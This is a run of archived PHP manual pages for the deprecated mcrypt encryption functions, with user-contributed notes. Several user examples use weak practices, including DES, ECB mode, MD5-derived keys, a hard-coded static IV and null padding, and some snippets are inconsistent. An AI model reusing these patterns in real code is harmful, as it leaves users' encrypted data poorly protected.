  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

     /* Encrypt data */
     $c_t = mcrypt_generic($td, $string);
     mcrypt_generic_deinit($td);
     mcrypt_module_close($td);
       $c_t = $iv.$c_t;
       return $c_t;
   } //end if
}

function my_decrypt($string,$key) {
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = substr($string,0,$iv_size);
  $string = substr($string,$iv_size);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

     /* Encrypt data */
     $c_t = mdecrypt_generic($td, $string);
     mcrypt_generic_deinit($td);
     mcrypt_module_close($td);
       return $c_t;
   } //end if
}
// to test:
//print my_decrypt(my_encrypt("Hello, world.","foo"),"foo");
?>
fandelem at hotmail dot com
07-Mar-2002 07:59
note: if you are experiencing a problem about complaining that the second parameter has to be a 'long' and you are giving a 'string' (for me, it was using MCRYPT_URANDOM) you might want to try MCRYPT_DEV_URANDOM :)
add a note add a note

后退 | 起点 | 前进
mcrypt_cfb | 上一级 | mcrypt_decrypt


mcrypt_decrypt

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_decrypt -- Decrypts crypttext with given parameters

Description

string mcrypt_decrypt ( string cipher, string key, string data, string mode [, string iv] )

mcrypt_decrypt() decrypts the data and returns the unencrypted data.

Cipher is one of the MCRYPT_ciphername constants of the name of the algorithm as string.

Key is the key with which the data is encrypted. If it's smaller that the required keysize, it is padded with '\0'.

Data is the data that will be decrypted with the given cipher and mode. If the size of the data is not n * blocksize, the data will be padded with '\0'.

Mode is one of the MCRYPT_MODE_modename constants of one of "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

The IV parameter is used for the initialisation in CBC, CFB, OFB modes, and in some algorithms in STREAM mode. If you do not supply an IV, while it is needed for an algorithm, the function issues a warning and uses an IV with all bytes set to '\0'.

add a note add a note User Contributed Notes
eddiec at stararcher dot com
14-Jul-2005 09:26
It appears that mcrypt_decrypt pads the *RETURN STRING* with nulls ('\0') to fill out to n * blocksize.  For old C-programmers, like myself, it is easy to believe the string ends at the first null.  In PHP it does not:

   strlen("abc\0\0") returns 5 and *NOT* 3
   strcmp("abc", "abc\0\0") returns -2 and *NOT* 0

I learned this lesson painfully when I passed a string returned from mycrypt_decrypt into a NuSoap message, which happily passed the nulls along to the receiver, who couldn't figure out what I was talking about.

My solution was:
<?
   $retval = mcrypt_decrypt( ...etc ...);
   $retval = rtrim($retval, "\0");    // trim ONLY the nulls at the END
?>
kooktroop at gmail dot com
09-Jul-2004 06:13
Following on from the mcrypt_encrypt() example:

<?php
$text = "boggles the inivisble monkey will rule the world";
$key = "This is a very secret key";

$iv_size = mcrypt_get_iv_size(MCRYPT_XTEA, MCRYPT_MODE_ECB);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
echo strlen($text) . "<br>";

$enc = mcrypt_encrypt(MCRYPT_XTEA, $key, $text, MCRYPT_MODE_ECB, $iv);
echo strlen($enc) . "<br>";

$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$key = "This is a very secret key";
$text = "Meet me at 11 o'clock behind the monument.";
echo strlen($text) . "<br>";

$crypttext = mcrypt_decrypt(MCRYPT_XTEA, $key, $enc, MCRYPT_MODE_ECB, $iv);
echo "$crypttext<br>";
?>
add a note add a note

后退 | 起点 | 前进
mcrypt_create_iv | 上一级 | mcrypt_ecb


mcrypt_ecb

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

mcrypt_ecb -- Deprecated: Encrypt/decrypt data in ECB mode

Description

string mcrypt_ecb ( int cipher, string key, string data, int mode )

string mcrypt_ecb ( string cipher, string key, string data, int mode [, string iv] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function is deprecated and should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_decrypt | 上一级 | mcrypt_enc_get_algorithms_name


mcrypt_enc_get_algorithms_name

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_algorithms_name -- Returns the name of the opened algorithm

Description

string mcrypt_enc_get_algorithms_name ( resource td )

This function returns the name of the algorithm.

例子 1. mcrypt_enc_get_algorithms_name() example

<?php
$td = mcrypt_module_open(MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";

$td = mcrypt_module_open('cast-256', '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";
?>

上例将输出：

CAST-256
CAST-256

add a note add a note User Contributed Notes
php-manual2 at omershenker dot net
14-May-2003 06:44
For some reason this function (but not mcrypt_list_algorithms()) returns each element in the array twice. If you have this problem, try array_unique(mcrypt_list_algorithms()).
add a note add a note

后退 | 起点 | 前进
mcrypt_ecb | 上一级 | mcrypt_enc_get_block_size


mcrypt_enc_get_block_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_block_size -- Returns the blocksize of the opened algorithm

Description

int mcrypt_enc_get_block_size ( resource td )

This function returns the block size of the algorithm specified by the encryption descriptor td in bytes.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_enc_get_algorithms_name | 上一级 | mcrypt_enc_get_iv_size


mcrypt_enc_get_iv_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_iv_size -- Returns the size of the IV of the opened algorithm

Description

int mcrypt_enc_get_iv_size ( resource td )

This function returns the size of the iv of the algorithm specified by the encryption descriptor in bytes. If it returns '0' then the IV is ignored in the algorithm. An IV is used in cbc, cfb and ofb modes, and in some algorithms in stream mode.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_enc_get_block_size | 上一级 | mcrypt_enc_get_key_size


mcrypt_enc_get_key_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_key_size -- Returns the maximum supported keysize of the opened mode

Description

int mcrypt_enc_get_key_size ( resource td )

This function returns the maximum supported key size of the algorithm specified by the encryption descriptor td in bytes.

add a note add a note User Contributed Notes
terry _at_ scribendi_com
29-Apr-2005 06:06
The key size returned by this function is for keys consisting of 8-bit characters.  For example, 256-bit algorithms require 32-character keys.

However, if you are using alphanumeric keys [A-Za-z0-9] beware that strength is reduced, because you are only using a set of 64 characters, which could be represented in 6 bits.  You get: 6 x 32 = 192-bit encryption.

Avoid using string representations hashes - md5() or sha1() - because hex encoding uses a set of only 16 characters [0-9a-f], which is equivalent to 4 bits, and thus halve the strength of your encryption: 4 x 32 = 128-bit.

A 64 character hex representation of an SHA-256 hash will not improve matters, because only the first 32 characters can be used. You need an 8-bit representation of SHA-256, or of two MD5s, to get full 256-bit strength.

The problem is somewhat reduced in OFB, CFB or CBC mode by the use of IVs, but only if you do not package your IV with the encrypted data.
add a note add a note

后退 | 起点 | 前进
mcrypt_enc_get_iv_size | 上一级 | mcrypt_enc_get_modes_name


mcrypt_enc_get_modes_name

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_modes_name -- Returns the name of the opened mode

Description

string mcrypt_enc_get_modes_name ( resource td )

This function returns the name of the mode.

例子 1. mcrypt_enc_get_modes_name() example

<?php
    $td = mcrypt_module_open (MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
    echo mcrypt_enc_get_modes_name($td). "\n";

    $td = mcrypt_module_open ('cast-256', '', 'ecb', '');
    echo mcrypt_enc_get_modes_name($td). "\n";
?>

Prints:

CFB
ECB

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_enc_get_key_size | 上一级 | mcrypt_enc_get_supported_key_sizes


mcrypt_enc_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_supported_key_sizes -- Returns an array with the supported keysizes of the opened algorithm

Description

array mcrypt_enc_get_supported_key_sizes ( resource td )

Returns an array with the key sizes supported by the algorithm specified by the encryption descriptor. If it returns an empty array then all key sizes between 1 and mcrypt_enc_get_key_size() are supported by the algorithm.

例子 1. mcrypt_enc_get_supported_key_sizes() example

<?php
    $td = mcrypt_module_open('rijndael-256', '', 'ecb', '');
    var_dump(mcrypt_enc_get_supported_key_sizes($td));
?>

This will print:

array(3) {
  [0]=>
  int(16)
  [1]=>
  int(24)
  [2]=>
  int(32)
}

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_enc_get_modes_name | 上一级 | mcrypt_enc_is_block_algorithm_mode


mcrypt_enc_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_is_block_algorithm_mode -- Checks whether the encryption of the opened mode works on blocks

Description

bool mcrypt_enc_is_block_algorithm_mode ( resource td )

This function returns TRUE if the mode is for use with block algorithms, otherwise it returns FALSE. (e.g. FALSE for stream, and TRUE for cbc, cfb, ofb).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_enc_get_supported_key_sizes | 上一级 | mcrypt_enc_is_block_algorithm


mcrypt_enc_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_is_block_algorithm -- Checks whether the algorithm of the opened mode is a block algorithm

Description

bool mcrypt_enc_is_block_algorithm ( resource td )

This function returns TRUE if the algorithm is a block algorithm, or FALSE if it is a stream algorithm.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_enc_is_block_algorithm_mode | 上一级 | mcrypt_enc_is_block_mode


mcrypt_enc_is_block_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_is_block_mode -- Checks whether the opened mode outputs blocks

Description

bool mcrypt_enc_is_block_mode ( resource td )

This function returns TRUE if the mode outputs blocks of bytes or FALSE if it outputs bytes. (e.g. TRUE for cbc and ecb, and FALSE for cfb and stream).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_enc_is_block_algorithm | 上一级 | mcrypt_enc_self_test


mcrypt_enc_self_test

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_self_test -- This function runs a self test on the opened module

Description

int mcrypt_enc_self_test ( resource td )

This function runs the self test on the algorithm specified by the descriptor td. If the self test succeeds it returns FALSE. In case of an error, it returns TRUE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_enc_is_block_mode | 上一级 | mcrypt_encrypt


mcrypt_encrypt

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_encrypt -- Encrypts plaintext with given parameters

Description

string mcrypt_encrypt ( string cipher, string key, string data, string mode [, string iv] )

mcrypt_encrypt() encrypts the data and returns the encrypted data.

Cipher is one of the MCRYPT_ciphername constants of the name of the algorithm as string.

Key is the key with which the data will be encrypted. If it's smaller that the required keysize, it is padded with '\0'. It is better not to use ASCII strings for keys. It is recommended to use the mhash functions to create a key from a string.

Data is the data that will be encrypted with the given cipher and mode. If the size of the data is not n * blocksize, the data will be padded with '\0'. The returned crypttext can be larger that the size of the data that is given by data.

Mode is one of the MCRYPT_MODE_modename constants of one of "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

The IV parameter is used for the initialisation in CBC, CFB, OFB modes, and in some algorithms in STREAM mode. If you do not supply an IV, while it is needed for an algorithm, the function issues a warning and uses an IV with all bytes set to '\0'.

例子 1. mcrypt_encrypt() Example

<?php
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $key = "This is a very secret key";
    $text = "Meet me at 11 o'clock behind the monument.";
    echo strlen($text) . "\n";

    $crypttext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $text, MCRYPT_MODE_ECB, $iv);
    echo strlen($crypttext) . "\n";
?>

上例将输出：

42
64

See also mcrypt_module_open() for a more advanced API and an example.

add a note add a note User Contributed Notes
alexandrub83 at yahoo dot com
25-Sep-2005 09:53
A class to encrypt, decrypt data! if you have problems with using it please visit my site http://www.alexandrub.tk and mail me using Contact section! I use it to encrypt POST and GET data! I don't remember his name but thanks to how recognize his code in the binFromHex function!

<?php
//copyright www.alexandrub.tk
//ver 1.00
class cript
{
var $key;
var $td;
var $time4keyToChange;
var $iv;

function cript($aKey='time',$aTime4keyToChange=3600)
 {
 $this->time4keyToChange=$aTime4keyToChange;
 if($aKey!='time')
   {
   $this->key=$aKey."&".intval(time()/$this->time4keyToChange);
   }
   else
   {
   $this->key=intval(time()/$this->time4keyToChange);
   }
 $this->td = MCRYPT_RIJNDAEL_256;
 $this->iv = "qe3jigneqfrgnqw2egfmas4qetjkn5lg";
 }

function hexFromBin($data)
{
return bin2hex($data);
}

function binFromHex($data)
 {
 $len = strlen($data);
 return pack("H" . $len, $data);
 }

function criptData($data)
 {
 return $this->hexFromBin(mcrypt_encrypt($this->td, $this->key, $data, MCRYPT_MODE_CBC, $this->iv));
 }
function decriptData($eData)
 {
 return trim(mcrypt_decrypt($this->td, $this->key, $this->binFromHex($eData), MCRYPT_MODE_CBC, $this->iv));
 }
}
return true;
?>
jesse at pctest dot com
08-Dec-2004 06:43
Solving 3DES incompatibilities with .NET's TripleDESCryptoServiceProvider

mcrypt's 3DES only accepts 192 bit keys, but Microsoft's .NET and many other tools accept both 128 and 192 bit keys.
If your key is too short, mcrypt will 'helpfully' pad null characters onto the end, but .NET refuses to use a key where the last third is all null (this is a Bad Key). This prevents you from emulating mcrypt's "short key" behaviour in .NET.

How to reconcile this? A little DES theory is in order
3DES runs the DES algorithm three times, using each third of your 192 bit key as the 64 bit DES key

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key3

and both .NET and PHP's mcrypt do this the same way.
The problem arises in short key mode on .NET, since 128 bits is only two 64 bit DES keys
The algorithm that they use then is:

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key1

mcrypt does not have this mode of operation natively.
but before you go and start running DES three times yourself, here's a Quick Fix
<?php
$my_key = "12345678abcdefgh"; // a 128 bit (16 byte) key
$my_key .= substr($my_key,0,8); // append the first 8 bytes onto the end
$secret = mcrypt_encrypt(MCRYPT_3DES, $my_key, $data, MCRYPT_MODE_CBC, $iv);  //CBC is the default mode in .NET
?>

And, like magic, it works.

There's one more caveat: Data padding
mcrypt always pads data will the null character
but .NET has two padding modes: "Zeros" and "PKCS7"
Zeros is identical to the mcrypt scheme, but PKCS7 is the default.
PKCS7 isn't much more complex, though:
instead of nulls, it appends the total number of padding bytes (which means, for 3DES, it can be a value from 0x01 to 0x07)
if your plaintext is "ABC", it will be padded into:
0x41 0x42 0x43 0x05 0x05 0x05 0x05 0x05

You can remove these from a decrypted string in PHP by counting the number of times that last character appears, and if it matches it's ordinal value, truncating the string by that many characters:
<?php
   $block = mcrypt_get_block_size('tripledes', 'cbc');
   $packing = ord($text{strlen($text) - 1});
   if($packing and ($packing < $block)){
     for($P = strlen($text) - 1; $P >= strlen($text) - $packing; $P--){
   if(ord($text{$P}) != $packing){
     $packing = 0;
   }
     }
   }
   $text = substr($text,0,strlen($text) - $packing);
?>

And to pad a string that you intend to decrypt with .NET, just add the chr() value of the number of padding bytes:
<?php
   $block = mcrypt_get_block_size('tripledes', 'cbc');
   $len = strlen($dat);
   $padding = $block - ($len % $block);
   $dat .= str_repeat(chr($padding),$padding);
?>

That's all there is to it.
Knowing this, you can encrypt, decrypt, and duplicate exactly any .NET 3DES behaviour in PHP.
cleong at nflc dot org
04-Dec-2004 06:04
Note that the key need to be a binary string--not a hex string. A 128-bit key would be 16 characters long, for example.

Use the pack() function to quickly convert a hex string into the actual binary data:

$key_hex = '66e94bd4ef8a2c3b884cfa59ca342b2e';
$key_bin = pack('H*', $key_hex);
$pt = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key_bin, $et, MCRYPT_MODE_ECB);
chris at TRIMTHIS dot chriscodes dot com
14-Aug-2004 10:31
[Editor's note: original script posted by
andrewcare at execulink dot com
07-Jul-2004 04:45]

I needed to add
trim($data)
to andrew's example for it to remove some leftover hex garbage from the decrypted string.

Here's the working example:
<?php
$data = "Plaintext"; // Data to encrypt (http://www.ciphersbyritter.com/glossary.htm#Encryption)
$key = "Secret"; // Encryption key (http://www.ciphersbyritter.com/glossary.htm#Key)
$td = MCRYPT_RIJNDAEL_256; // Encryption cipher (http://www.ciphersbyritter.com/glossary.htm#Cipher)

$iv_size = mcrypt_get_iv_size($td, MCRYPT_MODE_ECB); // Dependant on cipher/mode combination (http://www.php.net/manual/en/function.mcrypt-get-iv-size.php)
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND); // Creates an IV (http://www.ciphersbyritter.com/glossary.htm#IV)

echo "Original data: $data<br />";

$encrypted_data = mcrypt_encrypt($td, $key, $data, MCRYPT_MODE_CBC, $iv); // Encrypts data (http://www.php.net/manual/en/function.mcrypt-encrypt.php)

echo "Encrypted data: " . bin2hex($encrypted_data)  . "<br />"; // bin2hex to compensate for random character values

$data = mcrypt_decrypt($td, $key, $encrypted_data, MCRYPT_MODE_CBC, $iv); // Decrypts data (http://www.php.net/manual/en/function.mcrypt-decrypt.php)

echo trim($data);
?>

Thanks andrew, you saved me some time! Hope this saves someone else!
add a note add a note

后退 | 起点 | 前进
mcrypt_enc_self_test | 上一级 | mcrypt_generic_deinit


mcrypt_generic_deinit

(PHP 4 >= 4.1.1, PHP 5)

mcrypt_generic_deinit -- This function deinitializes an encryption module

Description

bool mcrypt_generic_deinit ( resource td )

This function terminates encryption specified by the encryption descriptor (td). It clears all buffers, but does not close the module. You need to call mcrypt_module_close() yourself. (But PHP does this for you at the end of the script.) Returns FALSE on error, or TRUE on success.

See for an example mcrypt_module_open() and the entry on mcrypt_generic_init().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_encrypt | 上一级 | mcrypt_generic_end


mcrypt_generic_end

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_generic_end -- This function terminates encryption

Description

bool mcrypt_generic_end ( resource td )

警告

This function is deprecated, use mcrypt_generic_deinit() instead. It can cause crashes when used with mcrypt_module_close() due to multiple buffer frees.

This function terminates encryption specified by the encryption descriptor (td). Actually it clears all buffers, and closes all the modules used. Returns FALSE on error, or TRUE on success.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_generic_deinit | 上一级 | mcrypt_generic_init


mcrypt_generic_init

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_generic_init -- This function initializes all buffers needed for encryption

Description

int mcrypt_generic_init ( resource td, string key, string iv )

The maximum length of the key should be the one obtained by calling mcrypt_enc_get_key_size() and every value smaller than this is legal. The IV should normally have the size of the algorithms block size, but you must obtain the size by calling mcrypt_enc_get_iv_size(). IV is ignored in ECB. IV MUST exist in CFB, CBC, STREAM, nOFB and OFB modes. It needs to be random and unique (but not secret). The same IV must be used for encryption/decryption. If you do not want to use it you should set it to zeros, but this is not recommended.

The function returns a negative value on error, -3 when the key length was incorrect, -4 when there was a memory allocation problem and any other return value is an unknown error. If an error occurs a warning will be displayed accordingly. FALSE is returned if incorrect parameters were passed.

You need to call this function before every call to mcrypt_generic() or mdecrypt_generic().

See for an example mcrypt_module_open().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_generic_end | 上一级 | mcrypt_generic


mcrypt_generic

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_generic -- This function encrypts data

Description

string mcrypt_generic ( resource td, string data )

This function encrypts data. The data is padded with "\0" to make sure the length of the data is n * blocksize. This function returns the encrypted data. Note that the length of the returned string can in fact be longer then the input, due to the padding of the data.

If you want to store the encrypted data in a database make sure to store the entire string as returned by mcrypt_generic, or the string will not entirely decrypt properly. If your original string is 10 characters long and the block size is 8 (use mcrypt_enc_get_block_size() to determine the blocksize), you would need at least 16 characters in your database field. Note the string returned by mdecrypt_generic() will be 16 characters as well...use rtrim()($str, "\0") to remove the padding.

If you are for example storing the data in a MySQL database remember that varchar fields automatically have trailing spaces removed during insertion. As encrypted data can end in a space (ASCII 32), the data will be damaged by this removal. Store data in a tinyblob/tinytext (or larger) field instead.

The encryption handle should always be initialized with mcrypt_generic_init() with a key and an IV before calling this function. Where the encryption is done, you should free the encryption buffers by calling mcrypt_generic_deinit(). See mcrypt_module_open() for an example.

See also mdecrypt_generic(),
mcrypt_generic_init(), and
mcrypt_generic_deinit().

add a note add a note User Contributed Notes
eric at ez-llc dot com
12-Mar-2006 04:55
I was able get php and perl to play together with blowfish using cipher block chaining.  The blowfish key needs to be atleast 8 chars (even though blowfish min is 8 bits, perl didn't like keys smaller than 8 chars) and max 56.  The iv must be exactly 8 chars and padding needs to be null because php pads with nulls.  Also, php needs libmcrypt >= 2.4.9 to be compatible with perl.

PERL
----

use Crypt::CBC;
$cipher = Crypt::CBC->new( {'key' => 'my secret key',
                                   'cipher'=> 'Blowfish',
                                   'iv' => '12345678',
                                   'regenerate_key' => 0,
                                   'padding' => 'null',
                                   'prepend_iv' => 0
                                   });
$cc = 'my secret text';
$encrypted = $cipher->encrypt($cc);
$decrypted = $cipher->decrypt($encrypted);

print "encrypted : ".$encrypted;
print "<br>";
print "decrypted : ".$decrypted;

PHP
---

$cc = 'my secret text';
$key = 'my secret key';
$iv = '12345678';

$cipher = mcrypt_module_open(MCRYPT_BLOWFISH,'','cbc','');

mcrypt_generic_init($cipher, $key, $iv);
$encrypted = mcrypt_generic($cipher,$cc);
mcrypt_generic_deinit($cipher);

mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,$encrypted);
mcrypt_generic_deinit($cipher);

echo "encrypted : ".$encrypted;
echo "<br>";
echo "decrypted : ".$decrypted;
Ryan Thomas, ryanrst at gmail dot com
05-Jan-2006 06:15
If you wish to store encrypted data in a cookie variable on the browser you will encounter problems when decrypting the data. This is because cookies will only store US-ASCII characters and your encrypted data may contain non-US-ASCII characters.

The solution:

base64_encode your encrypted string before you store it in the cookie and base64_decode the string stored in the cookie becore decrypting.

Example:

function setEncryptedCookie($cookieName, $data)
{
  setcookie($cookieName, base64_encode($this->encrypt($data)), time()+$this->expire);
}

function getEncryptedCookie($cookieName)
{
  return $this->decrypt(base64_decode($_COOKIE[$cookieName]));
}
pauls at sellingsource dot com
16-May-2003 02:02
If you are encrypting binary and there is a null terminator partway through your encryption, you will loose the rest of the string.  A workaround is to base64_encode your binary string first.

We found this problem while trying to encrypt CC information.  Some CC values would not decrypt after we converted them to a binary string.

We were using the MCRYPT_RIJNDAEL_256 module to encrypt with.

Hope this helps someone.
add a note add a note

后退 | 起点 | 前进
mcrypt_generic_init | 上一级 | mcrypt_get_block_size


mcrypt_get_block_size

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

mcrypt_get_block_size -- Get the block size of the specified cipher

Description

int mcrypt_get_block_size ( int cipher )

int mcrypt_get_block_size ( string cipher, string module )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or 2.5.x.

mcrypt_get_block_size() is used to get the size of a block of the specified cipher (in combination with an encryption mode).

It is more useful to use the mcrypt_enc_get_block_size() function as this uses the resource returned by mcrypt_module_open().

This example shows how to use this function when linked against libmcrypt 2.4.x and 2.5.x.

例子 1. mcrypt_get_block_size() example

<?php
    echo mcrypt_get_block_size('tripledes', 'ecb');
?>

Prints:
8

See also: mcrypt_get_key_size(),
mcrypt_enc_get_block_size() and
mcrypt_encrypt().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_generic | 上一级 | mcrypt_get_cipher_name


mcrypt_get_cipher_name

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

mcrypt_get_cipher_name -- Get the name of the specified cipher

Description

string mcrypt_get_cipher_name ( int cipher )

string mcrypt_get_cipher_name ( string cipher )

mcrypt_get_cipher_name() is used to get the name of the specified cipher.

mcrypt_get_cipher_name() takes the cipher number as an argument (libmcrypt 2.2.x) or takes the cipher name as an argument (libmcrypt 2.4.x or higher) and returns the name of the cipher or FALSE, if the cipher does not exist.

例子 1. mcrypt_get_cipher_name() Example

<?php
   $cipher = MCRYPT_TripleDES;

   echo mcrypt_get_cipher_name($cipher);
?>

上例将输出：

3DES

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_get_block_size | 上一级 | mcrypt_get_iv_size


mcrypt_get_iv_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_get_iv_size -- Returns the size of the IV belonging to a specific cipher/mode combination

Description

int mcrypt_get_iv_size ( string cipher, string mode )

mcrypt_get_iv_size() returns the size of the Initialisation Vector (IV) in bytes. On error the function returns FALSE. If the IV is ignored in the specified cipher/mode combination zero is returned.

cipher is one of the MCRYPT_ciphername constants of the name of the algorithm as string.

mode is one of the MCRYPT_MODE_modename constants or one of "ecb", "cbc", "cfb", "ofb", "nofb" or "stream". The IV is ignored in ECB mode as this mode does not require it. You will need to have the same IV (think: starting point) both at encryption and decryption stages, otherwise your encryption will fail.

It is more useful to use the mcrypt_enc_get_iv_size() function as this uses the resource returned by mcrypt_module_open().

例子 1. mcrypt_get_iv_size() example

<?php
    echo mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB) . "\n";

    echo mcrypt_get_iv_size('des', 'ecb') . "\n";
?>

See also
mcrypt_get_block_size(),
mcrypt_enc_get_iv_size() and
mcrypt_create_iv().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_get_cipher_name | 上一级 | mcrypt_get_key_size


mcrypt_get_key_size

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

mcrypt_get_key_size -- Get the key size of the specified cipher

Description

int mcrypt_get_key_size ( int cipher )

int mcrypt_get_key_size ( string cipher, string module )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or 2.5.x.

mcrypt_get_key_size() is used to get the size of a key of the specified cipher (in combination with an encryption mode).

This example shows how to use this function when linked against libmcrypt 2.4.x and 2.5.x. It is more useful to use the mcrypt_enc_get_key_size() function as this uses the resource returned by mcrypt_module_open().

例子 1. mcrypt_get_block_size() example

<?php
    echo mcrypt_get_key_size('tripledes', 'ecb');
?>

Prints:
24

See also: mcrypt_get_block_size(),
mcrypt_end_get_key_size() and
mcrypt_encrypt().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_get_iv_size | 上一级 | mcrypt_list_algorithms


mcrypt_list_algorithms

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_list_algorithms -- Get an array of all supported ciphers

Description

array mcrypt_list_algorithms ( [string lib_dir] )

mcrypt_list_algorithms() is used to get an array of all supported algorithms in the lib_dir parameter.

mcrypt_list_algorithms() takes an optional lib_dir parameter which specifies the directory where all algorithms are located. If not specifies, the value of the mcrypt.algorithms_dir php.ini directive is used.

例子 1. mcrypt_list_algorithms() Example

<?php
    $algorithms = mcrypt_list_algorithms("/usr/local/lib/libmcrypt");

    foreach ($algorithms as $cipher) {
        echo "$cipher<br />\n";
    }
?>

The above example will produce a list with all supported algorithms in the "/usr/local/lib/libmcrypt" directory.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_get_key_size | 上一级 | mcrypt_list_modes


mcrypt_list_modes

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_list_modes -- Get an array of all supported modes

Description

array mcrypt_list_modes ( [string lib_dir] )

mcrypt_list_modes() is used to get an array of all supported modes in the lib_dir.

mcrypt_list_modes() takes as optional parameter a directory which specifies the directory where all modes are located. If not specifies, the value of the mcrypt.modes_dir php.ini directive is used.

例子 1. mcrypt_list_modes() Example

<?php
    $modes = mcrypt_list_modes();

    foreach ($modes as $mode) {
        echo "$mode <br />\n";
    }
?>

The above example will produce a list with all supported algorithms in the default mode directory. If it is not set with the ini directive mcrypt.modes_dir, the default directory of mcrypt is used (which is /usr/local/lib/libmcrypt).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_list_algorithms | 上一级 | mcrypt_module_close


mcrypt_module_close

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_close -- Close the mcrypt module

Description

bool mcrypt_module_close ( resource td )

This function closes the specified encryption handle.

See mcrypt_module_open() for an example.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_list_modes | 上一级 | mcrypt_module_get_algo_block_size


mcrypt_module_get_algo_block_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_get_algo_block_size -- Returns the blocksize of the specified algorithm

Description

int mcrypt_module_get_algo_block_size ( string algorithm [, string lib_dir] )

This function returns the block size of the algorithm specified in bytes. The optional lib_dir parameter can contain the location where the mode module is on the system.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_module_close | 上一级 | mcrypt_module_get_algo_key_size


mcrypt_module_get_algo_key_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_get_algo_key_size -- Returns the maximum supported keysize of the opened mode

Description

int mcrypt_module_get_algo_key_size ( string algorithm [, string lib_dir] )

This function returns the maximum supported key size of the algorithm specified in bytes. The optional lib_dir parameter can contain the location where the mode module is on the system.

